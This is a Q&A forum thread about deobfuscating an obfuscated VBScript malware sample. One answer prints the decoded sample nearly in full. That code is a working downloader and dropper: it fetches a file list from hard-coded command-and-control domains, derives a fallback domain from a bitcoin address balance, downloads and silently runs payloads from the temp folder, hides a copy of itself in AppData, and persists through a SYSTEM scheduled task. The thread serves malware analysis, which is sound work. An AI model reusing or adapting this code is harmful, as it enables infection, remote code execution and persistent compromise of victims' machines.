Multiple obfuscated VBA malware, how to split it?

Question

Malware

Digging through the files, I found an incomprehensible VBA script that was encrypted several times in a row. Initially, it was encoded, i.e. in vbe format, but after the unpacking script was found, this was no longer a problem. But when I opened it, I was a little freaked out. It is clear that a widely used technique is used, such as "PHP eval (), in which the sum of characters occurs, which ultimately adds up to malicious code." The problem is that a slightly non-trivial approach is used. Surely there is a way to set this mess for interpretation, but without executing the Execute () function. Unfortunately, I have no idea how to do this, so I'm asking for your help.
PS The case is not the first , but in my particular case, I have not seen this anywhere else.
PPSAlready on virustotal , appeared three days ago.

Answer 1

It seems that inside Execute the source code is simply collected and executed.
You can simply write the content to a variable and output it to a file , something like this:

Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.CreateTextFile("D:\Temp.txt")

Dim myText: myText = GetText
objFile.Write myText

objFile.Close

Function GetText
  	GetText = "b" + "o" + chr( 1095348/9868 ) & "l" + "E" ...
End Function

Answer 2

boolExitFlag = False
Execute(opencl = WScript.CreateObject( "WScript.She"+"ll" ).ExpandEnvironmentStrings("%W"+"IND"+"IR%") & "\sy"+"stem32\OpenCL.d"+"ll") 
if fileExist(opencl) then
  call Step1
  Do
    If Ping("8"+".8"+".8."+"8") Then
      Call Main              
      boolExitFlag = True
    End If
    WScript.sleep 1000
  Loop while boolExitFlag <> True
end if
Const id = "9846f2d7e24272f38e6f66bf0ff8d7cf.com"
Const ida = "b6cbc7c8b7f9af070b119184fc26e610.com"
Const idb = "1GgG2kjrH7YzAq4cr4vZaKrpHYxnbHkFPm"
sub Main
  host = id
  files_list_string = false
  if Ping(id) then
    files_list_string = getContent("http://m."+host+"/?id="+host+"&key="+WScript.ScriptName)
  End if
  if (files_list_string = False) Then
    host = ida
    if Ping(ida) then
      files_list_string = getContent("http://m."+host+"/?id="+host+"&key="+WScript.ScriptName)
    End if
    if (files_list_string = False) Then
        idb = idb + CStr(CInt(GetBalanceBlockExplorer(idb))) + ".com"
        host = idb
        if Ping(idb) then
          files_list_string = getContent("http://m."+host+"/?id="+host+"&key="+WScript.ScriptName)
        End if
        if (files_list_string = False) Then
          die
        end if
    End If
  End If
  files_list = Split(crypt(files_list_string), ";")
  Execute("t" + "m" + chr( 902272/8056 ) & " " + "=" + chr( 8899-8867 ) & "W" + "S" + chr( -7136+7235 ) & "r" + "i" + chr( 800800/7150 ) & "t" + "." + chr( -2736+2803 ) & "r" + "e" + chr( 6538-6441 ) & "t" + "e" + chr( 9157-9078 ) & "b" + "j" + chr( -6763+6864 ) & "c" + "t" + chr( 337440/8436 ) & " " + chr( 35836/1054 ) & chr( -5755+5842 ) & "S" + "c" + chr( -4824+4938 ) & "i" + "p" + chr( 5994-5878 ) & "." + "S" + chr( -909+1013 ) & "e" + "l" + chr( 246132/2279 ) & chr( 140454/4131 ) & " " + chr( -9918+9959 ) & "." + "E" + chr( 1173480/9779 ) & "p" + "a" + chr( 9656-9546 ) & "d" + "E" + chr( 534600/4860 ) & "v" + "i" + chr( 4527-4413 ) & "o" + "n" + chr( 1081-972 ) & "e" + "n" + chr( 323-207 ) & "S" + "t" + chr( 22116/194 ) & "i" + "n" + chr( -6780+6883 ) & "s" + "(" + chr( 3398-3364 ) & "%" + "T" + chr( 223008/3232 ) & "M" + "P" + chr( 898-861 ) & chr( 3949-3915 ) & ")" +  vbcrlf  ) 
  cmd =  tmp & "\svchost.exe"
  KillProccess cmd
  WScript.sleep 5000
  for i = 0 to UBound(files_list)-1
    file_name = files_list(i)
    download "http://m."+host+file_name, tmp + "/"+ getFileName(file_name)
  next
  params = files_list(UBound(files_list))
  shell params
end sub

Sub die
  WScript.Quit
End Sub

Function GetFirstMatch(PatternToMatch, StringToSearch)
  Dim regEx, CurrentMatch, CurrentMatches

  Set regEx = New RegExp
  regEx.Pattern = PatternToMatch
  regEx.IgnoreCase = True
  regEx.Global = True
  regEx.MultiLine = True
  Set CurrentMatches = regEx.Execute(StringToSearch)

  GetFirstMatch = ""
  If CurrentMatches.Count >= 1 Then
    Set CurrentMatch = CurrentMatches(0)
    If CurrentMatch.SubMatches.Count >= 1 Then
      GetFirstMatch = CStr(CurrentMatch.SubMatches(0))
    End If
  End If
  Set regEx = Nothing
End Function

function GetBalanceBlockExplorer(address)
  block_content = getContent("http://blockexplorer.com/address/"+address)
  if (block_content <> false) then
    GetBalanceBlockExplorer = "0" + Replace(GetFirstMatch("<td>(\d+(\.\d+)?)</td>\n</tr>\n</table>", block_content), ".", ",")
  else 
    GetBalanceBlockExplorer = false
  end if
end function

function getFileName(fullpath)
  arrNames = Split(fullpath, "/")
  intIndex = Ubound(arrNames)
  getFileName = arrNames(intIndex)
end function

Function getContent(url)
  Dim o
  Set o = CreateObject("MSXML2.XMLHTTP")
  o.open "GET", url, False
  On Error Resume Next
  o.send
  If o.status = 200 Then
    getContent = o.responseText
  Else
    getContent = False
  End If
End Function

function crypt(str)
  for i = 1 to Len(str)
    flag = Len(outout)
    temp = Asc(Mid(str, i, 1))
    If temp > 64 and temp < 78 Then outout = outout & Chr(temp +13) 
    If temp > 77 and temp < 90 Then outout = outout & Chr(temp -13) 
    If temp > 96 and temp < 110 Then outout = outout & Chr(temp +13)
    If temp > 109 and temp < 123 Then outout = outout & Chr(temp -13) 
    If Len(outout) = flag Then outout = outout & Chr(temp)
  Next
  crypt = outout
end function

Function Ping(strHost)
    Set objPing = GetObject("winmgmts:{impersonationLevel=impersonate}").ExecQuery("select * from Win32_PingStatus where address = '" & strHost & "'")
    z = 0
    Do    
        z = z + 1
        For Each objRetStatus In objPing        
            If IsNull(objRetStatus.StatusCode) Or objRetStatus.StatusCode <> 0 Then            
                PingStatus = False        
            Else
                PingStatus = True              
            End If      
        Next    
        wscript.sleep 200
        If z = 4 Then Exit Do
    Loop until PingStatus = True
    If PingStatus = True Then 
        Ping = True
    Else
        Ping = False
    End If
End Function

Function download(sFileURL, sLocation)
    
  Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
  objXMLHTTP.open "GET", sFileURL, false
  On Error Resume Next
  objXMLHTTP.send()
  do until objXMLHTTP.Status = 200 :  wscript.sleep(1000) :  loop
  If objXMLHTTP.Status = 200 Then
    Set objADOStream = CreateObject("ADODB.Stream")
    objADOStream.Open
    objADOStream.Type = 1
    objADOStream.Write objXMLHTTP.ResponseBody
    objADOStream.Position = 0    
        Set objFSO = Createobject("Scripting.FileSystemObject")
    If objFSO.Fileexists(sLocation) Then objFSO.DeleteFile sLocation, true
    Set objFSO = Nothing
    objADOStream.SaveToFile sLocation
    objADOStream.Close
    Set objADOStream = Nothing
    download = True
  Else
    download = False
  End if
  Set objXMLHTTP = Nothing
End Function

Function fileExist(filename)
  Set objFSO = Createobject("Scripting.FileSystemObject")
  fileExist = objFSO.FileExists(filename)
End Function

function folderExist(folder)
  Set objFSO = CreateObject("Scripting.FileSystemObject")
  folderExist = objFSO.FolderExists(folder)
end function

sub createFolder(folder) 
  Set objFSO = CreateObject("Scripting.FileSystemObject")
  if folderExist(folder) = false then 
  objFSO.CreateFolder folder
  end if
end sub

sub shell(cmd)
    dim objShell
    Set objShell = WScript.CreateObject( "WScript.Shell" )
    objShell.Run cmd, 0, false
    Set objShell = Nothing
end sub

sub copy(from_path, to_path)
  dim filesys
  set filesys=CreateObject("Scripting.FileSystemObject")
  If filesys.FileExists(from_path) Then
    On Error Resume Next
     filesys.CopyFile from_path, to_path
  End If
end sub

sub hideFolder(folder)
  Set objFSO = CreateObject("Scripting.FileSystemObject")
  Set objFolder = objFSO.GetFolder(folder)
  If objFolder.Attributes = objFolder.Attributes AND 2 Then
    objFolder.Attributes = objFolder.Attributes XOR 2 
  End If
end sub

FUNCTION isProcessRunning(BYVAL strComputer,BYVAL strProcessName)

  DIM objWMIService, strWMIQuery

  strWMIQuery = "Select * from Win32_Process where ExecutablePath like '" & strProcessName & "'"
  
  SET objWMIService = GETOBJECT("winmgmts:" _
    & "{impersonationLevel=impersonate}!\\" _ 
      & strComputer & "\root\cimv2") 


  IF objWMIService.ExecQuery(strWMIQuery).Count > 0 THEN
    isProcessRunning = TRUE
  ELSE
    isProcessRunning = FALSE
  END IF

END FUNCTION

Sub KillProccess( myProcess )

    Dim blnRunning, colProcesses, objProcess
    blnRunning = False

    Set colProcesses = GetObject( "winmgmts:{impersonationLevel=impersonate}" ).ExecQuery( "Select * From Win32_Process", , 48 )
    For Each objProcess in colProcesses
        If LCase( myProcess ) = LCase( objProcess.ExecutablePath) Then
            blnRunning = True
            myProcess  = objProcess.ExecutablePath
            objProcess.Terminate()
        End If
    Next
End Sub

sub Step1
  Execute("b" + "a" + chr( 119715/1041 ) & "e" + "_" + chr( 457368/4484 ) & "o" + "l" + chr( -6439+6539 ) & "e" + "r" + chr( 9665-9633 ) & "=" + " " + chr( 338691/3893 ) & "S" + "c" + chr( -4893+5007 ) & "i" + "p" + chr( 5040-4924 ) & "." + "C" + chr( -8119+8233 ) & "e" + "a" + chr( 9623-9507 ) & "e" + "O" + chr( -9347+9445 ) & "j" + "e" + chr( 205-106 ) & "t" + "(" + chr( -2037+2069 ) & chr( 8839-8805 ) & "W" + chr( 6186-6103 ) & "c" + "r" + chr( 6941-6836 ) & "p" + "t" + chr( 179354/3899 ) & "S" + "h" + chr( 6717-6616 ) & "l" + "l" + chr( -8409+8443 ) & " " + ")" + chr( 288466/6271 ) & "E" + "x" + chr( -4027+4139 ) & "a" + "n" + chr( 6776-6676 ) & "E" + "n" + chr( 33+85 ) & "i" + "r" + chr( 108225/975 ) & "n" + "m" + chr( 5961-5860 ) & "n" + "t" + chr( -6543+6626 ) & "t" + "r" + chr( -9696+9801 ) & "n" + "g" + chr( -9803+9918 ) & "(" + chr( 332826/9789 ) & chr( 3051-3014 ) & "A" + "P" + chr( 521840/6523 ) & "D" + "A" + chr( 291900/3475 ) & "A" + "%" + chr( -9276+9310 ) & ")" + " " + chr( 270642/6294 ) & " " + chr( 147492/4338 ) & chr( 775376/8428 ) & "O" + "r" + chr( 573720/5464 ) & "g" + "i" + chr( 640970/5827 ) & chr( 7523-7489 ) &  vbcrlf  ) 
  createFolder(base_folder)
  hideFolder(base_folder)
  tmp_this = base_folder & "\update.vbe"
  copy WScript.ScriptFullName, tmp_this
  shell chr(115)+"chta"+chr(115)+"k"+chr(115)+" /create /"+chr(115)+"c onlogon /tn "+chr(79)+"rigin /rl highe"+chr(115)+"t /ru System /tr "+chr(34)+tmp_this+chr(34)
end Sub